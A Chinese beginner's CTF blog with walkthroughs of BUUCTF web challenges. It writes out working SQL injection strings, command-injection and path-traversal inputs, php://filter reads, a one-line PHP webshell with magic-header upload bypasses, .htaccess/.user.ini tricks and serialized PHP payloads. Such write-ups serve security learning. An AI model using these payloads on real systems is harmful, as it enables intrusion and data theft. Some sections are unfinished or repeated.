写在前面, 本人小白一枚,记录一下web做题过程,大部分为个人理解可能有些地方写的不够明确还请见谅。当然由于刚入手web题,所以有些题会没有思路,这时会参考其他大佬的题解过程。本文会一直更新,由于是第一次写博客,所以并不知道一篇能写多少,不管怎样会一直更新的。
在题解中,可能并没有说清除为什么是这样,什么要这样,其实大部分我也不知道是为什么,但就是这样做,由上所说我是个小白。
如果在文中,出现了只有题目没有题解的情况,是因为我还没有学习与之相关的知识,所以先跳过了,但总会写的。此外,如果有大佬有更好的方法,还请您留在评论区,谢谢!
目录
目录
[极客大挑战 2019]EasySQL
[极客大挑战 2019]Havefun
[HCTF 2018]WarmUp
[ACTF2020 新生赛]Include
[ACTF2020 新生赛]Exec
[GXYCTF2019]Ping Ping Ping
[SUCTF 2019]EasySQL
[强网杯 2019]随便注
[极客大挑战 2019]Secret File
[极客大挑战 2019]LoveSQL
[极客大挑战 2019]Http
[极客大挑战 2019]Knife
[极客大挑战 2019]Upload
[ACTF2020 新生赛]Upload
[极客大挑战 2019]BabySQL
[极客大挑战 2019]BuyFlag
[BJDCTF2020]Easy MD5
[HCTF 2018]admin
[MRCTF2020]你传你?呢
[ZJCTF 2019]NiZhuanSiWei x
[极客大挑战 2019]HardSQL
[MRCTF2020]Ez_bypass
[网鼎杯 2020 青龙组]AreUSerialz
[GXYCTF2019]BabyUpload
[SUCTF 2019]CheckIn
[极客大挑战 2019]EasySQL
进入页面后, 发现是一个登录界面, 先使用万能登录进行尝试
1' or 1=1 #
成功获取flag
[极客大挑战 2019]Havefun
进入页面后, 发现无任何显示, 点击 F12
查看
发现被注释掉的提示, 页面传入一个参数为cat的GET请求, 可以看到, 如果cat=='dog' 会输出一个flag格式的输出, 先试试该输出是不是正确的flag, 发现并不正确.
由于页面是一个GET请求, 所以传入参数 cat=dog
发现页面显示出了flag
[HCTF 2018]WarmUp
打开靶场后, 发现页面除了一个表情什么也没有, 直接F12
查看
发现提示 source.php
进入
出现php源码
if语句中
, 有一个$_REQUEST
请求, 获取传入的参数 file
, 判断其是否为空, is_string
判断是否为字符串, emm::checkFile
调用emm类中的checkFile()函数.
在checkFile()函数
中,
whitelist
定义了一个白名单, 里面包含允许被访问的页面地址
isset函数
判断是否为空值, is_string
判断是否是字符串
in_array函数
判断$page
是否在whitelist
中
mb_substr( $str, $start, $length, $encoding )str 要截取的字符串start 起始位置end 结束位置encoding 网页编码
mb_strpos($haystack,$needle,$offset = 0,$encoding): int|falsehaystack 要搜索的字符串, 原字符串needle要查找的字符串, 子字符串offset 搜索的起始位置encoding 网页编码
urldecode
解码url
在了解了以上函数后,就可以分析代码了
当if
语句条件不成立时,输出图片, 可见并不能获得有效的信息, 那么我们就要让if
语句条件成立,满足三个要求:
前两个条件很好满足, 关键是第三个, 在白名单中除了source.php
之外,还存在一个hint.php
,先查看一下hint.php
发现提示, flag在ffffllllaaaagggg
中
当访问时, 出现
可见直接访问不行,究其原因是因为 checkFile
返回false
,要想访问ffffllllaaaagggg
,我们就要让checkFile
返回True
。
checkFile
要想返回True
有三种途径
第一种途径明显不可行, 看第二种途径,要想实现第二种途径,就要利用白名单中的数据。
发送请求file=source.php?ffffllllaaaagggg
,此时的$_page=source.php,checkFile
会返回True
但是页面并没有任何的显示,这是因为
include $_REQUEST['file']
返回的并没有结果, 也就是说ffffllllaaaagggg
并不在当前目录下,那我们就要扩大范围进行搜索, 最简单的方法就是进入上一级目录进行搜索,所以
file=source.php?../ffffllllaaaagggg
发现还是没有结果, 再次回到上一级目录.
直到file=source.php?../../../../../ffffllllaaaagggg
成功显示出flag.
由于 include $_REQUEST['file']; 语句没有对相对路径进行任何限制或过滤,攻击者可以利用相对路径遍历漏洞(directory traversal vulnerability)来访问系统上的任意文件。在这种情况下,攻击者可以使用相对路径 ../../../../../ffffllllaaaagggg 来尝试访问位于系统根目录下的 ffffllllaaaagggg 文件。如果该文件存在且可读,那么它的内容将被包含在程序中。
[ACTF2020 新生赛]Include
打开页面发现一个链接, 点击
并没有什么用, 返回主页, F12
进行查看
发现链接格式为: ?file=flag.php
直接使用 伪协议
输入命令
?file=php://filter/read=convert.base64-encode/resource=flag.php
显示出
进行base64解码, 获取到flag
[ACTF2020 新生赛]Exec
由题目可知, 这道题与php命令执行漏洞有关
常见的执行命令函数:
eval() 返回结果有限 shell_exec()
assert() passthru()
system() escapeshellcmd()
exec() pcntl_exec()
输入命令 127.0.0.1;ls
, 发现确实存在命令执行漏洞, 但在此目录下只存在index.php
查看上级目录, 127.0.0.1;ls /;
存在一个flag
, 使用命令127.0.0.1;cd /;cat flag;
得到flag
[GXYCTF2019]Ping Ping Ping
打开页面发现只有一个 /?ip
, 结合题目的 ping ping ping
, 先试着发送一个地址
得到回显, 使用命令127.0.0.1;ls;
查看到存在flag.php
, 使用命令cat flag.php
得到输出, 检查你的空格, 猜测是过滤掉了空格, 使用 $IFS$1
替换空格
提示变为, 检查你的标签, 不知道是什么意思, 我们先查看一下, index.php
, 使用命令cat$IFS$1index.php
发现过滤了许多符号, 和flag这个参数, 使用 base64
绕过, cat$IFS$1ZmxhZw==.php;
发现有回显, 但并没有出现flag
且F12
查看也没有. 换一种方式, 使用参数进行绕过m=flag;cat$IFS$1$m.php;
发现还是不行, 使用参数 + 拼接进行绕过, 还是不行, 使用大写+参数绕过n=ag;cat$IFS$1fl$n.php;
, 点击F12
获取到flag
[SUCTF 2019]EasySQL
[强网杯 2019]随便注
打开靶场,先试一试查询数据库 1' and select database() #
, 发现返回内容
猜测是过滤掉了 select|update|delete|drop|inser|where
这些语句,使用show databases
看一下
发现出现是错误提示,在报错哪里本来有个#
应该会注释掉后面的内容,但是好像并没有注释掉,使用--+
试一试,还是不可以,再此分析,应该是闭合搞错了
输入框中默认是数字,不进行闭合试一试 ,不进行闭合会产生回显,但是并没有输出想要的数据库名,试了下堆叠注入还是不行
使用永真式试了一下,发现多了一些内容(在这一步中,不进行闭合还是默认输出,就试了一下引号闭合,可能是前面分析的有问题)
得到一个’114514‘ ,完全不知道是什么,当成数据库试了试没什么用。
突然想到上面的闭合出现了错误,所以重试了一下堆叠注入。成功显示出数据库。
再使用show tables
查看一下表,发现有两个表
使用 desc
分边查看一下,查看全数字的表时要用反引号包裹起来
再第一个表里,显示出存在flag,但好像没有办法获取到
第二个表中有id和data两列
在正常情况下,我们只有输入1,2会产生回显,观察这个回显,会发现它正好是id+data
,说明正常显示的words
,所以我们只需要篡改表名即可,将存在 flag
的名字篡改为words
表,那么当我输入的时候显示全部信息。
rename table 旧表名 to 新表名
1';rename table `1919810931114514` to words;--+
出现以下情况,应该是注入成功了
查看一下,发现并不行,再分析一下,由于words表中存在两列,id+data,而我们修改后的words表中,表只有一列,也就是flag这一列,当我们进行查询时,可能是无id的原因,所以并不能显示出来,所以我们将flag这一列改为id,使用命令alter table words change flag id varchar(100);
这里需要注意,数据库中好像不允许存在两个相同的表名,所以我们先将words表换一个名字
rename table words to word
,成功修改
使用永真,成功获取flag
[极客大挑战 2019]Secret File
打开靶场,无任何信息提示,点击F12
查看源码
在源码中,有一个a链接
,其链接到一个php中,直接点击进入到php
打开后为一下界面,提示点进去看一看,那就点进去
出现了以下内容,他这里显示没看清,有可能是在页面切换的时候,flag
可能会直接闪过,直接burp
抓包
burp
抓包成功后,一步一步放行,在出现以下内容时,发现一个与flag格式相同的数据,尝试提交一下,在抓包时最好先运行一下,然后再抓包,不会会出现一些没用的东西。
在抓包后,将其发送到repeater
中,点击send
,在右侧出现了一个php,在浏览器中进去
进入secr3t.php
中,发现提示,flag在flag.php
中, 进去看一下
显示如下内容, flag应该在页面中, 但它提示看不见, F12
查看一下源码
源码好像没什么提示, 因为提示就在这里, 而且有一个背景色的属性,尝试将背景改一下
去除背景色后, 发现没什么用
完全没用, 在之前的几步中, 我们在scer3t.php
中可以看到php源码
, 回去分析一下代码.
整体来说, 是scer3t.php
会接受一个$file
, 然后进行判断
stristr函数, 是判断字符在字符串中第一次出现的位置
在这里的php中, 如果敏感的话, 我们就可以发现$file=$_GET['file']
, 与伪协议有关系, 而且传的参数是file, 很大可能与php://filter
流有关系, (做完题回想的话, 在flag.php中提示看不见flag, 应该也算一种提示)
确定到这一步后, 直接
php://filter/read=convert.base64-encode/resource=index.php(文件名)
有东西显示出来, 因为是基于base64, 所有直接base64解码
解码后是一个html, 里面出现了flag, 尝试一下
成功通过
[极客大挑战 2019]LoveSQL
进入靶场后, 发现是一个登录页面, 先试一试 1' or 1=1 #, 密码任意
尝试后发现, 登录成功, 而且给出了用户名和密码, md5撞库试一试, 尝试了几个网站, 什么结果也没有, 尝试一下十六进制转ASCII码, 发现乱码, 没用。
回到登录页面, 直接使用给的用户名和密码尝试一下,是可以进去的,但好像没啥用
回到登录页面,F12查看一下, 发现一个 sqlmap
才发现,页面顶部有东西,既然是sqlmap, 尝试下sql注入
先判断闭合方式,发现是单引号闭合,使用命令admin' order by 3 #
出现回显,但提示输入用户名和密码,尝试了其他方式,要么提示输入用户名和密码,要么提示密码错误,要么就是,下图这玩意。
看了一下大佬的题解,发现注释不能使用 # ,而要使用#的url编码, %23,完全不知道为什么,好像有的题就可以使用,猜测可能是过滤掉了#,但是在刚开始登录的时候,注释用的就是#而且登录成功。然后尝试了一下,发现不行了。
然后在输入框的注入是可以的,但在url这里又不行,拿burp抓包尝试了一下,发现这里输入#的话会注释掉后面的内容。所以如果直接在url这里输入#的话,它不会将其转为url编码,而是直接识别成了一个注释
如过在url中直接输入#,这里的get请求就只有username而没有password了
使用 --+进行注释也是一个道理。
所以将#url编码为%23,之后就可以回归正轨了
尝试到 order by 4 产生报错, 说明只有三列。
然后判断一下,用户名和密码这两个位置是哪几列,使用联合注入命令
union select 1,2,3,发现回显是2,3列(这里的用户名不要用admin)
直接使用 union select 1,group_concat(schema_name),3 from information_schema.schemata 的话,数据库名都堆起来了,完全看不清
所以使用,union select 1,database(),3 发现当前的数据库是 geek
使用命令查看一下数据库中的表
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
发现存在两个表 geekuser,l0ve1ysq1
使用命令查看一下,数据库中的列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()
看来geekuser,l0ve1ysq1两个表的属性都为id+name+passwd
使用命令查看一下,geekuser中的所有id和username,
union select 1,group_concat(id),group_concat(username) from geekuser
发现只有一个,看来 geekuser中存储的刚刚获得用户名admin和其密码
再看一下l0ve1ysq1表,使用命令
union select 1,group_concat(id),group_concat(username) from l0ve1ysq1 %23&password=1
发现第十六列,存储的用户名是falg,所有查看其密码就行
使用命令
union select 1,group_concat(id),group_concat(password) from l0ve1ysq1 %23&password=1
获取到flag
还是使用limit直接查看比较方便
union select 1,id,password from l0ve1ysq1 limit 15,16 %23&password=1
[极客大挑战 2019]Http
打开题目给的链接后,发现是一个介绍页面,老样子F12查看源码
代码有点多,换CTRL+U查看,再氛围这里有个php,进去
http://node5.buuoj.cn:29160/Secret.php,发现了一个新的页面,F12查看,什么也没有,进入页面给的网址中试试
进入后是404,注意到链接这里,https被划掉了,然后题目又是htpp,将https改为http试试
一直卡在了404界面,先不管它,回去找一找其他线索
注意到Secret.php页面显示的是,它不是来自“https://Sycsecret.buuoj.cn”,涉及到知识盲区了,查看一下其他大佬写的题解,知识盲区,先照着大佬的题解做一遍。
对Secert.php抓包,发送到Repeater中
伪造网站访问,referer
然后根据提示,伪造访问的浏览器名
之后伪造本地访问,X-Forwarded-For
最后send一下,获得flag。
Referer:浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 一般为当前请求中的网址/URL
User-Agent: 浏览器表明自己的身份(是哪种浏览器)。
X-Forwarded-For:在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。
注意到Secret.php页面显示的是,它不是来自“https://Sycsecret.buuoj.cn”,涉及到知识盲区了,查看一下其他大佬写的题解,知识盲区,先照着大佬的题解做一遍。
对Secert.php抓包,发送到Repeater中
伪造网站访问,referer
然后根据提示,伪造访问的浏览器名
之后伪造本地访问,X-Forwarded-For
最后send一下,获得flag。
Referer:浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 一般为当前请求中的网址/URL
User-Agent: 浏览器表明自己的身份(是哪种浏览器)。
X-Forwarded-For:在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。
[极客大挑战 2019]Knife
打开靶机后,注意到 eval 这个关键函数,可能是命令执行漏洞
尝试发送了几个Linux命令,但都没有显示,burp抓包试一试,也没什么用。
上网搜索了一下,web 菜刀,发现是webshell,与木马脚本有关,要用到中国蚁剑,然后再回顾一下 eval($_POST[]);,确实像是一句话木马的形式。
使用蚁剑右键添加数据,连接密码为上传的一句话木马的参数
测试连接,连接成功
添加数据后,进入文件管理中
查看到根目录这里,有一个flag文件
进入后发现flag
[极客大挑战 2019]Upload
根据题目,Upload,可能与文件上传漏洞有关系,打开靶机后,发现要上传文件,应该是文件上传漏洞了。
这里随便上传了一共压缩包,提交后出现提示,Not image!,看来必须要上传图片,这里先写一个一句话木马
用记事本写了个一句话木马,将其后缀改为jpg
这时候,就要用到burp抓包进行篡改了,因为我们要上传的木马后缀应该为php,但题目要求只能上传图片格式,用burp抓包,在其上传过程中,在请求中修改后缀,就可以绕过认证了。
在这里上传后,提交时进行抓包,改完后缀后,Forward通过即可
这里提交后,出现Not php,看来不能使用php的一句话木马
这里尝试了asp后缀,可以看到其显示发生变化,说明在上传文件这一步成功绕过了前端的检测,但后端应该是还存在检测,使用 幻术头 绕过试一试, 文件幻术头,就是在文件前面添加图片对应的标志头部,以绕过后端。
这里在尝试jpg,gif十六进制头的时候,不知道为什么成功不了,将gif十六进制转为字符突然就行了
成功上传
这里又出现问题,不管怎么连都连接不上,URL的地址是上传的木马所在地址,因为是上传文件,一般情况下其地址为upload/xxx,这里用浏览器可以查看。
不知道为什么一直连接不上。这里换了aspx也是一样的问题。
查看了一下题解,用phtml试了一下
GIF89a
<script language="php">eval($_REQUEST['shell']);</script>
成功上传,蚁剑连接一下,ok,还是连接不上。
后面才发现,原来是我拼写错误,将script写成了scrpit,更改后成功连接。
这里直接在根目录找到了flag文件,点进去就是flag了
后缀:
phtm, phtml,phps
[ACTF2020 新生赛]Upload
打开靶场,鼠标移动到灯这里,模糊显示上传文件
这里上传一个php木马,试试
这里提示要上传图片,而且是以jpg,png,gif结尾的图片
这里随便上传了一张图片,然后给出了文件的地址
这里看了下这个路径,发现被禁止了,应该是权限不够
这里尝试,上传php木马,burp抓包绕过试试,将文件后缀改为phtml
成功上传,
根据提示的路径,使用蚁剑连接,成功连接,密码为传入的参数
还是在根目录这里找到flag
[极客大挑战 2019]BabySQL
打开页面,发现是一个登录界面,首先尝试万能密码登录
发现错误提示,提示中少了一个or, 说明or被过滤,使用双写进行绕过,登录成功
对密码进行md5碰撞,没有什么用,进行sql注入,这里使用order by查询列数时,报错只显示了“der 2”说明or 和 by 被过滤,还是使用双写绕过
这里尝试到4时。产生报错,说明只有3列,接下来,判断回显的是哪几列。
这里进行联合注入时,发现union和select被过滤,同样使用双写进行绕过,注入成功后,发现注入点显示2,3,说明产生回显的第二列和第三列。接下来正常进行,判断数据库,表
数据库为 geek, 命令为
1' ununionion seselectlect 1,database(),3 %23 &password=1
联合注入查询表时,产生错误,where被过滤,from被过滤,同时or在前面已经判断被过滤了
使用命令:
1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23 & password=1
查询到两个表,b4bsql,geekuser
接下来,查询表中的列,查询到b4bsql如下,id+nam+pass,命令:
uniounionn sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'
这里查询,username和password,可以看到在最后一列有flag,直接提交即可,命令
uniounionn sselectelect 1,group_concat(username),group_concat(passwoorrd) frfromom b4bsql
看着不方便,使用limit进行限制,命令
uniounionn sselectelect 1,username,passwoorrd frfromom b4bsql limit 7,1
[极客大挑战 2019]BuyFlag
打开靶场,点击右上角的MENU
发现,flag需要钱
f12进行源码分析,发现这里有一个php,参数为password,注释提示请求moeny和password,password为404的同时且不能为数字,这里的是==,弱类型比较,直接404a,即可
同时需要是GUIT的学生
burp抓包,get改为post请求,将user改为GUIT,点击发送
页面好像没有变化,因为刚开始的cookie为0(false),改为1试试
改成1后,显示是GUIT的用户,接下来请求moeny和password即可
这里显示数字太长,将其改为科学计数法,1e9
成功获取flag
[BJDCTF2020]Easy MD5
[HCTF 2018]admin
打开靶场,发现是个登录页面,尝试永真登录
产生内部错误,根据题目admin,初步思路是登录到admin这个用户。
这里随便注册了一个用户,发现右边有更改密码的一个选项
进去后,发现是直接进行密码更改,所以思路为,在注册一个用户时使用一些特别的符号,以绕过后端的sql语句,让在其登录后,在修改密码这一步,改的的admin的密码。
先假设修改密码的sql语句如下:
update users
set password=”***“
where user=***
如果要修改admin的用户密码,那么在注册时,注册的用户名为 admin#,则修改语句就会变为
update users
set password=”***“
where user=admin #
从而达到修改admin密码。
尝试时,成功登录,获得flag
[MRCTF2020]你传你?呢
靶场如下图所示,根据题目和文件上传,大概率是上传木马,然后使用蚁剑连接
这里上传了一个phtml的一句话木马,好像行不通,被过滤了
尝试上使用图片一句话,同样的问题
这里尝试到asp后缀时,成功上传
成功上传后,显示出了文件路径
这里不知道为什么蚁剑连不上,换了aspx也是,查看题解,利用.htaccess漏洞
<FilesMatch "one.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
将其放在文本文件中,另存为全部文件,上传即可,上过过程中使用burp进行抓包,利用Content-Type: image/jpeg 来绕过检测
成功上传后,在上传一个一句话木马,此一句话木马明明必须和.htaccess中FilesMatch后的相对应,之后利用蚁剑进行连接即可
在网站根目录处,找到flag
[ZJCTF 2019]NiZhuanSiWei x
可以看到,该php中需要get三个请求参数,text,file,password。进行代码审计在第一个if语句中,isset()判断text是否为空值, file_get_contents()读取文件, 看到这个函数应该是与php伪协议有关系。
这里用到php://input
协议,post请求内容中写入要读取文件的内容,使用burp进行抓包,进行伪协议,操作点如下图所示,当出现右图welcome to the zjctf表明第一层已经进入
继续查看php代码,在第二个if语句中,有一个注释useless.php
和include()
两个点, 文件包含漏洞以及伪协议,使用命令
file=php://filter/read=convert.base64-encode/resource=useless.php
成功显示出base64加密后的数据
base64解码后, 显示出php代码
在原本的php代码中, 有一个关键点unserialize()
函数, 反序列化。在得到的php代码中,有一个魔术方法__tostring()利用这一点,按照反序列化的步骤,进行序列化,得到
O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
这里file要改为useless.php
,先前使用伪协议是因为要获得该php中的内容,这里要更改是因为我们要调用useless.php
中代码,这里成功得到后,使用F12查看源码,显示出flag
[极客大挑战 2019]HardSQL
打开靶场后,还是一个登录界面,先尝试1' or 1=1 %23
没什么用,尝试sql注入,堆叠注入,时间盲注,报错均返回同一页面。那么猜测可能是有些符号被过滤了,尝试判断一下,使用fuzz进行测试
首先,使用burp进行抓包,发送到Intruder中,设置name为可变量,在该页面的右侧有添加§的按钮
在进行过滤前,先要掌握,如何判断是否被过滤,首先进行手动的查看, 如果我们正常输入,他给我们的提示是
但是当我们输入的存在可能的被过滤的符号时,他给的提示是
如上所示,我们的到第二幅图的提示消息,则说明这个关键字是被过滤掉的,接下来我们继续进行fuzz测试
在Payloads中加载字典,如何点击右上角的Start Attack
得到结果后,点击一条数据,我们可以在Response中的Render上看到可视化的信息
由此可以判断length=784,则说明该关键字被过滤掉了。这道题被过滤的关键字还是很多的。
查询一下被过滤的关键字,我们可以发现 or是没有被过滤掉的,但是=被过滤,所以使用永真式,进行登录时,是不可行的。但是在过滤的关键字中,我们可以发现,show
是没有被过滤掉的,但是使用堆叠注入时,确实显示有过滤的符号,
那么只有空格被过滤才会出现这种情况。那么绕过空格过滤,使用/**/或者(),在过滤的关键字中,/**/是被过滤掉的,所以我们使用()来绕过过滤。
如果对show database;进行()绕过的话,会有语法问题,有待解决。
-----------------------------------------------------------------------------------------------------
()绕过过滤的前提是,子查询,只有子查询才可以使用()绕过空格,而show database;是系统管理命令,并表示一个子查询的语句,所以这里不能使用()来绕过。
----------------------------------------------------------------------------------------------------
这里使用select查看当前数据库,但是他返回如下情况。
猜测是不存在回显,既然无法回显,那只能使用时间和报错,但是时间注入的关键字sleep和benchmark被过滤,那这里使用报错注入,构造如下语句
1'or(updatexml(1,concat(0x7e,database()),1))%23
出来了,可以看到这里的数据库为,geek
接下来就好办了,按照以往的步骤就行,查表,查名,查数据。
构造语句
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=14
的到表名,H4rDsq1
构造语句
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=14
得到字段,id,username,password
构造语句
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=14
可以发现字段password
下存的应该就是flag了,但是显示不全,这里要搭配使用left()和right()函数,格式为
left/right(字段,长度)
构造语句
username=1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=14
得到后半段flag。
[MRCTF2020]Ez_bypass
打开靶场, 初步查看是PHP代码, 题目提示F12
下的有东西
进去什么也没有发现, 那么就分析一下PHP代码, 这里使用CTRL+U
比较方便查看
初步查看代码后, 发现要想获得flag, 必须绕过四层
接下来我们一层一层进去, 在第一层中, 会GET两个参数id
和gg
if (md5($id) === md5($gg) && $id !== $gg)
这里将其转为md5后强相等, 但是两个参数不能完全相等, 也就是说id和gg在满足md5相等的情况下, 其类型和内容不能相等, 只有这样才能绕过第一层
这里绕过很简单, 由于md5加密时,会将原始数据转化为固定长度的字符串,生成一个128位散列值,也就是说他会做类似强制类型转换的操作.
一个数字,一个字符串,这样md5后的结果是相等的. 但是这里是使用get的,它接收的类型都会变为String
这里可以使用fastcoll工具生成两个不相等但md5相等的字符串,也可以使用数组进行绕过
构造语句
/?id[]=a&gg[]=a
可以观察到, 绕过了第一层
if (!is_numeric($passwd))
is_numeric()这个函数是判断是否是数字的,也就是说我们只要传入的passwd参数不是一个数字,那么就可以绕过这一层
构造语句为
可以看到成功绕过
接下来的一层是一个弱相等
构造语句
得到结果
[网鼎杯 2020 青龙组]AreUSerialz
又是一道代码题, 但是根据题目以及unserialize()
可以猜到与反序列化有关
继续查看代码,可以查到,在FileHandler类中的read函数,有一个file_get_contents()
函数,看到这个函数首先联想到php伪协议,同时类中有read和write两个函数,由op的值进行操控,因为是要获取flag,所以这里直接让op=2,调用read函数
构造语句:
O:11:"FileHandler":3{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}
得到如下内容
查看代码发现,这里给op赋值好像没有成功,无论是给1还是2,都是这样。
这里再回到代码,因为是反序列化的题目,所以我这里直接没有看is_valid()函数,但结果不正确,所以回来分析一下这个函数
明显可以看到,$obj =unserialize()
,要成功运行,is_valid()函数必须返回true,而is_valid()函数里是一个循环,可以看到它会一个一个进行遍历,只要存在ascii码不在32和125之间就会返回flase,答案呼之既出了。
但这里在检查时,发现没有超出范围的数字,这里回看了以下以前反序列化的结果
发现在本题构造的语句中,多了个*,可能是问题所在,将语句修改一下,修改时发现了一个问题,它的长度和字符串的长度不一致?
就算加上*长度也才是3,但这里给了5。查看了一下题解,发现这里面有隐藏字符,F12
才能看出来
回归正轨,现在的目的很明确了,修改长度和字符即可,结果语句为
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
得到结果,base64解码
获得flag
[GXYCTF2019]BabyUpload
打开靶场,发现是一个上传文件的,大概率就是文件上传漏洞了
直接上传一个php的一句话木马
这里提示后缀名不能有ph,大小写也无法绕过,那么这里上传asp的一句话木马,没有用
这里上传图片马也没有用,上传正常jpg,png图片也不行
那这里抓包绕过一下
成功上传,接下来就是使用蚁剑了
虽然上传成功,但是蚁剑连接不上
那这里使用.htaccess漏洞,绕过
上传成功
接下来上传,jpg,还是绕过
上传成功
使用蚁剑连接,还是连不上。。。。。。。
重新上传,发现上传不上去了
查看题解,发现有的能上传,有的使用php木马的另一种写法
<script language="php">eval($_REQUEST['shell']);</script>
这里尝试了一下,发现可以上传
蚁剑连接也成功了
这里在根目录下,可以查找到flag
在上传.htaccess后,上传php时,它一直显示
这里尝试了一下,发现是在后端中,它会检测内容,当包含 <?php时就会产生这个提示,在上上传成功的一次是,可能是因为偶然性,后端在检测内容时,可能会存在一时的“疏忽”,所以当时上传成功,但是不知道为什么无法使用蚁剑连接,是因为删除了吗?这里只是我的猜测。
这里使用aspx也是一个问题
[SUCTF 2019]CheckIn
又是一道文件上传的题目
还是先上传php木马,提示非法的后缀
绕过一下,抓包处理,发现还是不行,直接上传.htaccess
这里上传是,提示不是图片,文件幻术头绕过
上传,接下来上传one.jpg
这里提示不能有<?,那就换另一种写法,同时加入幻术头
上传成功,这里可以看到存在.htaccess和one.jpg
注意:这里上传的文件不会一直存储,到一定时间它会删除文件
但是这里使用蚁剑连接,连不上, 换另外一种方法, 由于这里本身存在一个php可执行文件, 所以可以使用.user.ini漏洞
上传漏洞内容
auto_prepend_file=one.jpg
所有php文件自动包含one.jpg文件
连接时,使用的对象名是存在的可执行文件,连接对象是存在的可执行文件
注意: 这里要使用文件幻术头来绕过后端的过滤
上传成功
使用蚁剑连接, 这里连接的对象是存在php可执行文件,连接成功
终端输入命令, 可查看到flag